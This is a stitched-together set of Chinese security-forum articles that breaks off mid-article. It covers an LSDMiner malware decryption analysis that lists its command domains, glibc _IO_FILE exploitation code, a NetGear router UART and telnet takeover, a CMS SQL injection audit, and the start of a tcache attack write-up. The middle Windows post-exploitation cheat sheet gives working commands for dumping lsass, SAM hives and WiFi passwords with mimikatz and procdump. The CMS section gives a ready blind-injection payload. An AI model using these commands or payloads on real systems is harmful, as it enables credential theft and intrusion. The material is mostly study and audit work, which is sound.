而第二次 MD5 计算后取出的 **后 16 字节** 数据被保存起来，作为本函数返回值的一部分返回，接下来作为 **AES 的 IV 向量**
传给后面函数 **AesCipher128_Decrypt()** 中调用的 **crypto_cipher_NewCBCDecrypter()** 函数。
### 4.2 AES 的 Padding 方式
前面内容分析确认了 AES 的 Key、IV 以及分组密码模式，还需最后确认 AES 算法所用的 Padding
方式，即可正确解密数据。这一个点需要逆向分析函数 **AesCipher128_Decrypt()** 才能确认。
AES 加密算法用到的常见的 Padding 方式有以下几种(参考：
[对称加密算法和分组密码的模式](https://www.jianshu.com/p/b63095c59361))：
* ANSI X.923：也叫 **ZeroPadding** ，填充序列的最后一个字节填`paddingSize`，其它填0。
* ISO 10126：填充序列的最后一个字节填`paddingSize`， 其它填随机数。
* PKCS7：填充序列的每个字节都填`paddingSize` 。
LSDMiner 中用到的 Padding 方式就是简单的 ZeroPadding，通过函数 **AesCipher128_Decrypt()**
中解密操作后的 **byte.Trim()** 函数即可确认：
### 4.3 补充说明——关于二轮 MD5 值计算
上述分析过程中描述过，恶意样本为生成 AES 解密用到的 Key 和 IV 向量，对相应域名字符串连续做了 2 轮 MD5 Hash 计算，这一点
Anomali 的 Blog 中也提到了，只是他们没提到 Key 和 IV 具体的生成过程。
然而样本中连续两轮的 MD5 计算的值其实是相同的——这是 Go 语言特有的 MD5 计算方式，参考 [hash – Golang md5
Sum()函数](https://codeday.me/bug/20190214/636073.html) ，演示代码如下：
这一点不知道是恶意软件作者的失误，还是有意为之。倒是容易给逆向分析造成困扰，因为乍一看“两轮 MD5 计算”，很可能直观认为应该得出两个不同的 MD5
值，并分别截取一段做 AES 解密的 Key 和 IV 向量，没想到两次 MD5 计算得出相同的值。
## 5\. 完成解密
基于以上分析，就可以编写程序完成我们想要的解密工作了。完整的 Go 语言代码已上传到 Github：
<https://github.com/0xjiayu/LSDMiner_DNS_TXT_Decrypt>
运行结果如下：
当前解密出来的 Cron URL 是 **`lsd.systemten.org`** ，在样本中如果整个 DNS TXT
数据通道操作过程有任何异常而无法解密出最新的 Cron URL，备用的默认值也是这个 **`lsd.systemten.org`** :
## 6\. 总结
文章开头的截图中已经显示过，如果样本用 **net.LookupTXT()** 函数检索 DNS TXT 记录失败，还会跳转到另外一个代码分支，去用
DoH(DNS over HTTPS) 向 CloudFlare 的 DoH 服务器请求相应的 DNS TXT 记录：
我们用命令行工具测试一下，可以看到这种方式也有效：
利用 DNS TXT 记录和 DoH 下发恶意数据来辅助恶意样本的运行，可以进一步提升整个 Botnet 基础设施的健壮性和运营的灵活性，鉴于这个
Botnet 存活已久并不断更新，应该引起业界的持续关注。
前文说过，恶意样本中利用 DNS TXT 通道传输的数据还有其他几种，方式都是一样：检索 DNS TXT 数据，用
base64.RawURLEncoding 解码得到二进制数据；然后对域名进行 MD5 计算得出 AES 解密用到的 Key 和 IV，然后用 CBC
模式、ZeroPadding 的 AES-128bit 算法对 Base64 解码后的二进制数据进行解密。对应的域名还有以下几个，均可以用以上 Go
程序来解密：
"update.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"
"shell.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"
"1x32.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"
"2x32.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"
"3x32.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"
"1x64.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"
"2x64.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"
"3x64.iap5u1rbety6vifaxsi9vovnc9jjay2l.com"
另外，LSDMiner 涉及的二进制恶意样本，都用变形 UPX 加了壳，而且壳的特征很不明显，难以用固定的特征直接检测加壳的样本。并且，相关加壳二进制样本的
UPX 壳幻数(Magic Number)还经常变化，比如本文分析的 MD5 为 **114d76b774185b826830cb6b015cb56f**
的 UPX 壳幻数为 **0x2124922A** ；最新的 x86_64 架构的样本(MD5:
**78e3582c42824f17aba17feefb87ea5f** ) 的 UPX 壳幻数则变成了 **0x215E77F2** 。 | 社区文章 |
### 前言
最新版的 `libc` 中会对 `vtable` 检查，所以之前的攻击方式，告一段落。下面介绍一种，通过修改 `_IO_FILE`
实现任意地址读和任意地址写的方式。
### 正文
`_IO_FILE` 通过这些指针，来读写数据。
如果我们修改了它们，然后通过一些文件读写函数时，我们就能实现 任意地址读写。
**任意地址读**
代码示例
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
FILE *fp;
char *msg = "hello_file";
char *buf = malloc(100);
read(0, buf, 100);
fp = fopen("key.txt", "rw");
// 设置 flag 绕过 check
fp->_flags &= ~8;
fp->_flags |= 0x800;
// _IO_write_base write数据的起始地址， _IO_write_ptr write数据的终止地址
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 6;
//绕过检查
fp->_IO_read_end = fp->_IO_write_base;
// write 的目的 文件描述符， 1 --> 标准输出
fp->_fileno = 1;
fwrite(buf, 1, 100, fp);
return 0;
}
**任意地址写**
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
FILE *fp;
char msg[100];
char *buf = malloc(100);
fp = fopen("key.txt", "rw");
// 设置 flag 绕过 check
fp->_flags &= ~4;
// _IO_buf_base buffer 的起始地址， _IO_buf_end buffer 的终止地址
// fread 先把数据读入 [_IO_buf_base, _IO_buf_end] 形成的 buffer
// 然后复制到目的 buffer
fp->_IO_buf_base = msg;
fp->_IO_buf_end = msg + 100;
// 设置 文件描述符， 0---> stdin, 从标准输入读数据
fp->_fileno = 0;
fread(buf, 1, 6, fp);
puts(msg);
puts(buf);
return 0;
}
**利用 stdin / stdout 任意地址写/ 读**
`puts`, `scanf` 等一批系统函数默认使用的 `stdin` , `stdout` ,`stderr`
等结构体进行操作，通过修改这些结构体的内容，可以更方便的实现任意地址读，任意地址写。
`stdin` 也是 `_IO_FILE` 结构体
#include <stdio.h>
#include <stdlib.h>
int global_val = 0xaabbccdd;
int main(int argc, char * argv[])
{
FILE *fp;
int var;
fp = stdin;
fp->_flags &= ~4;
fp->_IO_buf_base = stdout;
fp->_IO_buf_end = stdout + 100;
scanf("%d",&var);
printf("0x%x\n", global_val);
return 0;
}
运行之
成功修改 `stdout` 结构体
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char * argv[])
{
FILE *fp;
char *msg = "hello_stdout";
char *buf = malloc(100);
fp = stdout;
// 设置 flag 绕过 check
fp->_flags &= ~8;
fp->_flags |= 0x800;
// _IO_write_base write数据的起始地址， _IO_write_ptr write数据的终止地址
fp->_IO_write_base = msg;
fp->_IO_write_ptr = msg + 12;
//绕过检查
fp->_IO_read_end = fp->_IO_write_base;
// write 的目的 文件描述符， 1 --> 标准输出
fp->_fileno = 1;
puts("<----->this is append on msg ");
return 0;
}
成功读到了， `msg` 的内容。
参考：
<https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique> | 社区文章 |
# NetGear 夜鹰 RAX40V2 设备与固件分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
NetGear 厂商的路由器设备中，拆解开经常会带有UART 调试串口，并且以往的NetGear
设备UART调试口往往只需要正确的检测出UART引脚的类型，设置波特率为115200，然后直接用串口调试软件配合FT232就可以直接获取设备内部的shell。但是Nightawk
夜鹰 RAX40V2 路由器在接入UART调试串口时，却有所不同。本篇文章，将带来对NetGear RAX40v2 在路由器开发板上的UART
获取shell的过程中遇到的一些问题，如何进行解决，循序渐进的开启设备的telnet，让我们拭目以待。
## 0x02 设备分析
产品名称：Nighthawk AX4 4-Stream WiFi Router
固件版本：V1.0.2.82_2.0.50
发布日期：2020年
首先我们从设备侧入手，拆解的过程以及设备硬件的配置，这不属于本片文章的重点，这里就不做过多的讲解。
## 0x03 设备串口分析
引脚分析，这款设备的引脚已经给了针脚，也免去了另外焊接针脚的工作，根据万用表和逻辑分析仪的识别（其实没用到逻辑分析仪）
从上到下依次是 VCC 引脚、GND引脚 (红线)、TXD引脚（黄线）、RXD引脚（橙线）
**波特率识别**
首先识别FTD 232 USB “ls -ll /dev/tty _“_
__
_接下来使用devttys0 的小工具baudrate.py
来识别波特率，只需要简单的使用上下键，就可以识别不同的波特率。如下图所示，设备识别为115200。 这也是NetGear
常用的波特率，其他的厂商的波特率也很多使用这个波特率。_
__
_tip： 这里顺带提一下，baudrate.py
识别的波特率是设置好的常见波特率，但是里面只设置了几个可以识别的波特率，如果需要增加识别广度，需要在脚本内部的BAUDRATES
参数中增加想要识别的波特率值。_
__
__获取启动log__
现在我们已经知道了波特率，接下来获取设备在启动的时候的log 信息，分析这些log 对设备分析有的时候会非常有用。但是常常 UART 的log
信息会非常多并且启动比较快。因此需要想办法将这些log 保存下来，以便后续分析。
我们使用minicom 打开，选择 “Serial port setup” —> 设置 ”A—-Serial Device“ 和 ”E
“的波特率，minicom 使用的方法搜索一下有详细的使用说明。
保存串口log 为文件，关闭也是一样的。最终可以看到生成的文件，文本编辑器打开生成的文件。
tips: 非正常关闭minicom，会在/var/lock下创建几个文件LCK*，这几个文件阻止了minicom的运行，将它们删除后即可恢复。
查看设备启动的log ，log 很多，这里截选了部分的log信息。
squashfs: version 4.0 (2009/01/31) Phillip Lougher
jffs2: version 2.2. (NAND) (SUMMARY) © 2001-2006 Red Hat, Inc.
fuse init (API version 7.23)
SGI XFS with security attributes, no debug enabled
io scheduler noop registered (default)
brd: module loaded
loop: module loaded
nand: device found, Manufacturer ID: 0xef, Chip ID: 0xda
nand: Unknown W29N02GV
nand: 256 MiB, SLC, erase size: 128 KiB, page size: 2048, OOB size: 64
bcm63xx_nand ff801800.nand: Adjust timing_1 to 0x6532845b timing_2 to
0x00091e94
bcm63xx_nand ff801800.nand: detected 256MiB total, 128KiB blocks, 2KiB pages,
16B OOB, 8-bit, BCH-4
Bad block table found at page 131008, version 0x01
Bad block table found at page 130944, version 0x01
>>>>> For primary mtd partition rootfs, cferam/vmlinux.lz UBI volume, vmlinux
fs mounted as squash fs on UBI <<<<<
Secondary mtd partition rootfs_update detected as UBI for cferam/vmlinux
source and UBIFS for vmlinux filesystem
Creating 11 MTD partitions on “brcmnand.0”:
0x000000100000-0x000006900000 : “rootfs”
0x000006900000-0x000006d00000 : “rootfs_update”
0x000007f00000-0x00000ff00000 : “data”
0x000000000000-0x000000100000 : “nvram”
0x000000100000-0x000006900000 : “image”
0x000006900000-0x000006d00000 : “image_update”
0x000000000000-0x000010000000 : “dummy1”
0x000000000000-0x000010000000 : “dummy2”
0x000007a00000-0x000007f00000 : “misc3”
0x000007500000-0x000007a00000 : “misc2”
0x000006d00000-0x000007500000 : “misc1”
tun: Universal TUN/TAP device driver, 1.6
tun: (C) 1999-2004 Max Krasnyansky
[[email protected]](mailto:[email protected])
PPP generic driver version 2.4.2
PPP BSD Compression module registered
PPP Deflate Compression module registered
NET: Registered protocol family 24
i2c /dev entries driver
bcm96xxx-wdt ff800480.watchdog: Broadcom BCM96xxx watchdog timer
brcmboard registered
brcmboard: brcm_board_init entry
print_rst_status: Last RESET due to HW reset
print_rst_status: RESET reason: 0x00000000
DYING GASP IRQ Initialized and Enabled
map_hw_timer_interrupt,130: interrupt_id 22
map_hw_timer_interrupt,130: interrupt_id 23
map_hw_timer_interrupt,130: interrupt_id 24
map_hw_timer_interrupt,130: interrupt_id 25
Allocated EXT_TIMER number 3
Broadcom Timer Initialized
**接入UART调试口shell**
UART 接入，设置好波特率，重启设备，待设备系统启动完成，启动日志输出完之后，连接shell ，但是需要登录口令。
遇到这种方法，本打算尝试调整uboot在引导linux kernel时使用的启动参数(bootargs)
直接访问跟文件系统。但是我很幸运的使用弱口令进去之后，但是发现这是一个低权限的shell，并且支持的可执行的命令非常有限.
正当我一筹莫展的时候，想起了曾经看到的一款思科的设备的shell 也是类似这种低权限的shell，但是输入 “sh”、”\bin\sh” 、”bash”
等命令可以获取完整版的shell。很幸运，在我输入”sh” 之后，成功的获取了设备完整的shell，并且支持的可执行的命令也变多了。
busybox
## 0x04 开启设备telnet
到这里我已经能通过UART串口获取设备的shell了，但是进入设备shell 过于复杂，并且我也不满足于UART的shell，
于是接着我尝试开启设备的ssh 、 telnet 的shell。我在测试的过程中，执行/bin/文件中的telnetd 毫无反应，并且执行busyBox
中的telnetd 也同样显示错误，我开始猜测开发者可能将telnetd做了更改，导致无法正常使用，但是我在 /usr/sbin/文件目录中找到了
utelnetd
可执行文件，并且执行后很明显的开启了23端口进行监听连接。然而一切都不如我所愿，进行登录的时候又显示需要登录口令，我尝试使用UART的弱口令和一些常见的口令也无法进入shell。
并且我使用google 搜索 NetGear 有没有历史的telnet
口令，在一个论坛中看到了一些信息，但是也依旧没有任何效果。<https://openwrt.org/toh/netgear/telnet.console>
于是我打算通过UART提供的调试接口直接修改passwd 文件，因为是root 的权限，因此直接更改admin 用户的密码为空。
# cat /etc/passwd
nobody:$1$hFVKPORB$llSaVGwuSWo.CTxU5.Qk30:0:0:nobody:/:/bin/sh
admin:x:0:0:admin:/:/bin/sh
# chmod 777 /etc/passwd
# vi /etc/passwd
# /usr/sbin/utelnetd
telnetd: starting
port: 23; interface: any; login program: /bin/login
更改为如下图所示
然后重新启动utelnetd 服务，使用telnet 连接在输入用户名admin 之后就可以直接获取到shell 。
## 0x05 固件提取
由于这款设备的是NetGear 的产品，设备固件都是可以直接下载来的，对这部分不感兴趣的直接跳过。
接下来开始提取设备内部的文件系统，根据前面的查看设备启动时的系统信息，并且配合设备内部的mtd信息分别，确定设备的文件系统是mtd11
使用dd 命令进行提取，在提取之前要确定空间使用的情况，以免文件太大，文件夹中放不下，如果文件太大，可以考虑将bin 文件进行压缩一下。
`dd if=/dev/mtd11 of=/tmp/rootfs_ubifs.bin`
由于设备内有 tftp ，尝试使用tftp 来进行提取dd 转储的bin 文件，但是遗憾的是，tftp 上传文件到本地tftpd server
的文件是设备内部的配置信息。其他的命令也无法正常将文件提取到设备外部。所幸文件系统内部有可以使用的wget
命令，直接上传上传一个对应架构的完整版busybox 到其中，使用完整版的tftp 将文件传出来即可。
`tftp -p -t -f rootfs_ubifs.bin 172.15.0.2`
再接下来我们提取设备的非易失性存储器NVRAM（断电之后，所存储的数据不丢失的随机访问存储器）。先将nvram的信息保存，然后使用buybox 的ftp
上传到本地中。
# nvram show > nvram.bin
# strings nvram.bin > nvram.html
成功提取，这里的 WiFi密码和web 管理界面的口令都没有加密，但是路由器忘记密码更改密码的答案给加密了。
## 0x06 固件解包
上面讲述了如何提取设备的固件，但是NetGear 设备固件是开放了，直接去NetGear 官网下载即可。
下载完成之后，这是一个用 .chk 拓展名为结尾的NetGear 固件镜像，那么使用binwalk 查看一下固件包
使用binwalk -Me 解开固件包,解开固件包之后,可以看到有两个东西, 3A.ubi 文件和 ubifs-root 文件夹,
本以为固件中的文件系统提取到了ubifs-root 中，可以 ubifs-root 文件内没有任何东西。把关注点放在3A.ubi 文件上。
解开ubi 文件有两种方法,一个是通过挂载的方式, 一个是使用 ubi_reader 套件来解开，挂载的话过于麻烦，这里使用 ubi_reader
套件来解开.
我们需要[https://github.com/jrspruitt/ubi_reader，可以通过PIP进行安装：](https://github.com/jrspruitt/ubi_reader%EF%BC%8C%E5%8F%AF%E4%BB%A5%E9%80%9A%E8%BF%87PIP%E8%BF%9B%E8%A1%8C%E5%AE%89%E8%A3%85%EF%BC%9A)
`sudo pip install ubi_reader`，
使用 ubireader_extract_images 来进行解开ubi 的文件。
`ubireader_extract_images 3A.ubi`
解开之后 ubifs-root 文件内会生成四个ubifs 的文件
根据前面对设备启动时的系统信息分析，rootfs_ubifs.ubifs 就是固件的文件系统。
使用binwalk 进行分析, 识别出来是squashfs 文件系统, 看样子是可以使用binwalk 解开固件
成功解开
## 0x07 总结
本片文章主要从设备侧和固件侧，分别讲解了如何通过UART获取设备的shell， 并且通过开启设备telnet , 在有密码的情况下，如何进行处理。以及对
.chk 和ubi 的固件如何进行分析与解包，接下来在漏洞挖掘和分析固件的方面，应该着重于经常产生漏洞的httpd
组件开始，以及比对更新的固件，使用bindiff 进行更新后的固件的比对，找出漏洞点。 | 社区文章 |
Micropoor大佬说过：渗透的本质是信息搜集。目标主机信息搜集的深度，决定后渗透权限持续把控。
本篇文章主要对内网渗透中Windows工作组信息收集做一个简单的归纳( **可能有缺有错，师傅们多带带** )
在内网渗透中，几个关键的步骤： **打点** ， **提权/维权** ， **信息收集** 。
都是这几个步骤反复进行最后才到达目标。
**一些常见的命令：**
whoami# 查看当前用户及权限
systeminfo# 查看系统信息以及补丁情况，是否有域
hostname# 查看当前主机名
net user# 查看主机账号，为定制字典准备
quser# 查看在线用户，注意管理员是否在线
cmdkey /l# 查看当前保存的登陆凭证，也能看到通的ip
netstat -nao# 查看网络连接状态，判断IP段，出网限制端口
ipconfig /all# 查看IP信息，判断是否有域
arp -a# 查看内网有价值的arp通信记录
route print# 查看路由表
**内网存活段探测脚本：**
@echo off
rem 内网存活段自动发现脚本 [Windows]
rem By Klion
rem 2020.7.1
setlocal enabledelayedexpansion
for /l %%i in (0,1,255) do (
for /l %%k in (0,1,255) do (
ping -w 1 -n 1 10.%%i.%%k.1 | findstr "TTL=" >nul || ping -w 1 -n 1 10.%%i.%%k.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 10.%%i.%%k.0/24 is alive ! >> alive.txt ) else (echo 10.%%i.%%k.0/24 May be sleeping ! )
)
)
for /l %%s in (16,1,31) do (
for /l %%d in (0,1,255) do (
ping -n 1 -w 1 172.%%s.%%d.1 | findstr "TTL=" >nul || ping -w 1 -n 1 172.%%s.%%d.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 172.%%s.%%d.0/24 is alive ! >> alive.txt ) else (echo 172.%%s.%%d.0/24 May be sleeping ! )
)
)
for /l %%t in (0,1,255) do (
ping -n 1 -w 1 192.168.%%t.1 | findstr "TTL=" >nul || ping -n 1 -w 1 192.168.%%t.254 | findstr "TTL=" >nul
if !errorlevel! equ 0 (echo 192.168.%%t.0/24 is alive ! >> alive.txt ) else (echo 192.168.%%t.0/24 May be sleeping ! )
)
tasklist /svc# 查看安装的软件，判断杀软-找在线杀软对比网站
dir %APPDATA%\Microsoft\Windows\Recent# 查看最近打开的文档
**获取WiFi密码：**
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
# 钓鱼到个人pc可能有用
**离线破解RDP连接密码：**
查看是否存在凭证：
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
打包对应文件到本地，获取对应连接记录的guidMasterKey：
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz # dpapi::cred /in:<Credentials文件凭证路径>
本地加载lsass.dmp并获取对应得MasterKey：
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::dpapi
使用MasterKey解密：
mimikatz# dpapi::cred /in:<Credentials文件凭证路径> /masterkey:xxxxxxxx
**浏览器密码获取：**
[moonD4rk师傅的项目](https://github.com/moonD4rk/HackBrowserData "moonD4rk师傅的项目")
**其它程序：**
[uknowsec师傅的项目](https://github.com/uknowsec/SharpDecryptPwd "uknowsec师傅的项目")
其中Xshell需要Session_Path参数
dir /s/a-d/b C:\*.xsh
**Windows本地hashdump方法：**
procdump和sqldumper
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
dir /s/a-d/b C:\*sqldumper.exe
for /f "tokens=2" %i in ('tasklist /FI "IMAGENAME eq lsass.exe" /NH') do Sqldumper.exe %i 0 0x01100
sekurlsa::minidump SQLDmpr0001.mdmp
sekurlsa::logonPasswords full
sam数据库
reg save hklm\sam .\sam.hive® save hklm\system .\system.hive
lsadump::sam /system:sys.hive /sam:sam.hive
**网站各种配置文件：**
通常在行动中，入口点都在泛*OA，致*OA，通*OA，用*NC等等。
用*NC解密
[jas502n师傅的项目](https://github.com/jas502n/ncDecode "jas502n师傅的项目")
致*OA解密
[jas502n师傅的项目](https://github.com/jas502n/OA-Seeyou "jas502n师傅的项目")
这些常见系统的配置文件地址得记住，如果是其他入口点就多找找.config文件。
**End....**
知识点都在网上可以搜到，感谢师傅们的分享 | 社区文章 |
**0x00 前记**
这里的漏洞分析只挑选了两个觉得有新意的点来说，整个cms肯定还是有很多漏洞，可以说是值得练手的一款cms，并且由于是根据某付费cms二次制作完成，因此市面上这类汽车网源码肯定也是千疮百孔，刷洞的可以走起~
**0x01 cms简介**
大泉州汽车网整站程序是一个以PHP+MySQL进行开发的二手车发布网站源码。
大泉州汽车网整站程序PHP生成html开源版 更新日志：
V1.1.2
1.增加手机版，可以绑定二级域名访问。如<http://m.myname.com> 绑定到m目录即可,
手机版模版位置:templates/default/m/
2.修正车行商铺首页和车型图片路径不显示
3.修正车型中心图片路径不对。
4.修正用户注册CSS路径。
5.修正用户登录CSS路径。
6.修正百度地图,不需参数可以直接定位
源码下载地址：<http://down.chinaz.com/soft/39115.htm>
demo地址：<http://www.dqzqcw.com/>
**0x02 漏洞分析**
下面两个洞是不那么常见的洞，或者说跟平时挖掘思路不太一致，这里拿出来分享一下，也给那些代码审计新手一点新的思路。现在由于大多数参数都有过滤机制，因此一些常见的注入漏洞可以说是很难找了，笔者如果想要找sql注入漏洞，那么喜欢挑像in类型的注入或者limit、order
by这种，这里包含的参数正常都是数字类型，也就是说无需单引号包裹的，所以如果没做数字类型的检查，那么这里很可能就会存在问题，下面进入正篇！
* limit注入
这里漏洞代码位于index/2s.php第288行
// 每页显示条数
if (isset($_GET['pagenum'])) {
setMyCookie("pagenum", $_GET['pagenum'], time() + COOKIETIME);
} else {
setMyCookie("pagenum", 32, time() + COOKIETIME);
}
这里传入参数pagenum，然后将值赋到cookie里去（这也是这款cms的特色之处，所有的参数均会存储到cookie，然后在后面做处理的时候从cookie中取值），接着我们跟进pagenum参数来到index/2s.php第301行
include(INC_DIR . 'Page.class.php');
$Page = new Page($db -> tb_prefix . 'cars', $where, '*', $_COOKIE['pagenum'], $orderby);
$listnum = $Page -> total_num;
$list = $Page -> get_data();
这里可以看到我们的pagenum参数已经是从cookie中取值来进行操作，继续跟进Page函数来到include/Page.class.php第33行
*
* @param string $tbname 要操作的表名
* @param string $where 定位条件
* @param string $field 要查询的字段
* @param string $pageSize 每页显示数量
* @param string $orderBy 排序方式
*/
function Page($tbname, $where = '1=1', $field = '*', $page_size = 20, $order_by = '', $group_by = '') {
!mysql_ping() && exit('mysql can not connect!');
if (!empty($page_size)) $this -> page_size = $page_size;
// 获取总记录条数
$sql = "SELECT count(*) as row_num FROM $tbname WHERE $where";
$row_num = mysql_fetch_array(mysql_query($sql));
$this -> total_num = $row_num['row_num'];
//$this -> total_page = ceil($this -> total_num / $page_size);
// 当前page
$page = isset($_GET['page']) && intval($_GET['page']) > 0 ? intval($_GET['page']) : 1;
$this -> page = ($page < $this -> total_page || $this -> total_page == 0) ? $page : $this -> total_page;
// 计算查询的起始值
$start = ($this -> page - 1) * $page_size;
// 查询结果
if($page_size==0){
$sql = "SELECT $field FROM $tbname WHERE $where" . ($group_by ? ' GROUP BY ' . $group_by : '').($order_by ? ' ORDER BY ' . $order_by : '') ;
}else{
$this -> total_page = ceil($this -> total_num / $page_size);
$sql = "SELECT $field FROM $tbname WHERE $where" . ($group_by ? ' GROUP BY ' . $group_by : '').($order_by ? ' ORDER BY ' . $order_by : '') . " LIMIT $start,$this->page_size";
}
$result = mysql_query($sql);
$data = array();
while ($row = mysql_fetch_assoc($result)) {
$data[] = $row;
}
$this -> data = $data;
}
这里pagenum对应的参数为$page_size参数，因此这里我们需要来看看page_size参数处于sql语句中的哪个位置。这里可以看到第28行处于limit之后，并且这里没有开启错误回显，因此该漏洞为前台无限制limit盲注漏洞。
我们知道在遇到limit注入时，使用procedure
analyse即可实现注入，但是网上搜到的大多是利用报错来进行注入，这里只能盲注，因此也花了不少时间来测试sql语句。
常见的limit报错语句如下
MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
这里想要改成时间盲注语句也很简单，只要对user()那里做修改即可
时间盲注语句如下
MariaDB [car]> select * from simcms_cars limit 0,1 procedure analyse((extractvalue(rand(),concat(0x3a,(IF(ascii(MID(user(),1,1))=114, BENCHMARK(3000000,SHA1(1)),1))))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'
最后我们来到实战中做检验，完整的payload如下
http://127.0.0.1/?m=2s&pagenum=1 PROCEDURE analyse((extractvalue(rand(),concat(0x3a,(IF(ascii(MID(user(),1,1))=114, BENCHMARK(6000000,SHA1(1)),1))))),1)
延时差距还是很明显的~
* cookie注入
这个漏洞其实可以说是逻辑上的漏洞，我们刚才看到了程序的处理流程，先将GET或者POST参数给赋值到cookie里，然后再从cookie里调用，那么这中间会出现什么问题呢？
if ($arr_c['0'] == "p") {
if (isset($arr_c[1])) {
setMyCookie("price", intval($arr_c[1]), time() + COOKIETIME);
}
if (isset($_COOKIE['price']) and $_COOKIE['price'] == 0) {
setMyCookie("price", '', time() - COOKIETIME);
}
}
// 车龄
elseif ($arr_c['0'] == "a") {
if (isset($arr_c[1])) {
setMyCookie("age", intval($arr_c[1]), time() + COOKIETIME);
}
if (isset($_COOKIE['age']) and $_COOKIE['age'] == 0) {
setMyCookie("age", '', time() - COOKIETIME);
}
}
// 车型
elseif ($arr_c['0'] == "m") {
if (isset($arr_c[1])) {
setMyCookie("model", intval($arr_c[1]), time() + COOKIETIME);
}
if (isset($_COOKIE['model']) and $_COOKIE['model'] == 0) {
setMyCookie("model", '', time() - COOKIETIME);
}
}
这里随便抽取了一段，可以看到传进来的参数大概是p_1或者a_2这种，下划线前面的表示类型，下划线后面的表示数值，并且会对数值做intval处理，那么这里最简单的思路就是来找一找有没有漏网之鱼，就是没有做intval处理，并且最终进入到sql语句里的参数，当然这里也有，不过不是本文的讨论重点。
这里就以上面的车型为例，这里假如GET为m_1，那么cookie中的model值则为1，然后我们跟进这个cookie['model']
来到190行
if (isset($_COOKIE['model']) and $_COOKIE['model']<>0) {
$where .= " and p_model = ".$_COOKIE['model'];
}
这里可以看到直接拼接进了where里，最终就进入了上面limit注入里的Page函数。
回过头来看，这个model参数由于在赋值时会进入intval函数的处理，因此用常规的直接拼接思路肯定是不可以的，但是这里出现的问题就是cookie值没有进行初始化，也就是说我们现在抓包然后赋值一个新的cookie值，就可以直接绕过这个从GET到COOKIE的处理，也就绕过了intval函数的处理，下面开始抓包演示！
这里可以看到cookie中的m值为41，那么想要绕过前面的从GET处理到COOKIE处理，采用直接cookie赋值的方法即可~
可以看到延时成功~
**0x03 总结**
这里漏洞利用起来也不是很复杂，只是姿势可能跟平时不太一样，所以拿出来分享一下~
上述如有不当之处，敬请指出 | 社区文章 |
# Tcache Stashing Unlink Attack利用思路
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 写在前面
`Tcache Stashing Unlink Attack`这个攻击名词是我第一次见到的，因此写一篇文章以记录思路。
2020/03/13 更新：`Tcache Stashing Unlink
Attack`有了更深的利用方式，从本来的任意地址写一个指定值或可扩大到任意地址分配chunk进而做到任意地址读写。
## 0x01 前置知识
### House of Lore Attack
`Tcache Stashing Unlink Attack`也是利用了`Smallbin`的相关分配机制进行的攻击，因此此处先对`House of
Lore`这一攻击技术做一个简要的介绍。
#### 攻击目标
分配任意指定位置的 chunk，从而修改任意地址的内存。（任意地址写）
#### 攻击前提
能控制 Small Bin Chunk 的 bk 指针，并且控制指定位置 chunk 的 fd 指针。
#### 攻击原理
##### 漏洞源码（Glibc2.29 malloc.c line3639）
⚠️：代码中的英文注释为源代码自带，中文注释为分析，Tcache部分不做分析。
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
// 获取 small bin 的索引
bin = bin_at (av, idx);
// 先执行 victim = last(bin)，获取 small bin 的最后一个 chunk
// 若结果 victim = bin ，那说明该 bin 为空。
if ( ( victim = last (bin) ) != bin )
{
// 获取 small bin 中倒数第二个 chunk 。
bck = victim->bk;
// 检查 bck->fd 是不是 victim，防止伪造
if ( __glibc_unlikely( bck->fd != victim ) )
malloc_printerr ("malloc(): smallbin double linked list corrupted");
// 设置 victim 对应的 inuse 位
set_inuse_bit_at_offset (victim, nb);
// 修改 small bin 链表，将 small bin 的最后一个 chunk 取出来
bin->bk = bck;
bck->fd = bin;
// 如果不是 main_arena，设置对应的标志
if (av != &main_arena)
set_non_main_arena (victim);
//执行更为细致的检查
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE //如果程序启用了Tcache
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
// 将申请到的 chunk 转化为对应的 mem 状态
void *p = chunk2mem (victim);
// 如果设置了 perturb_type , 则将获取到的chunk初始化为 perturb_type ^ 0xff
alloc_perturb (p, bytes);
return p;
}
}
可以看到，在Glibc2.29中也没有对`Small Bin`的`malloc`做更多的保护~
##### 漏洞分析
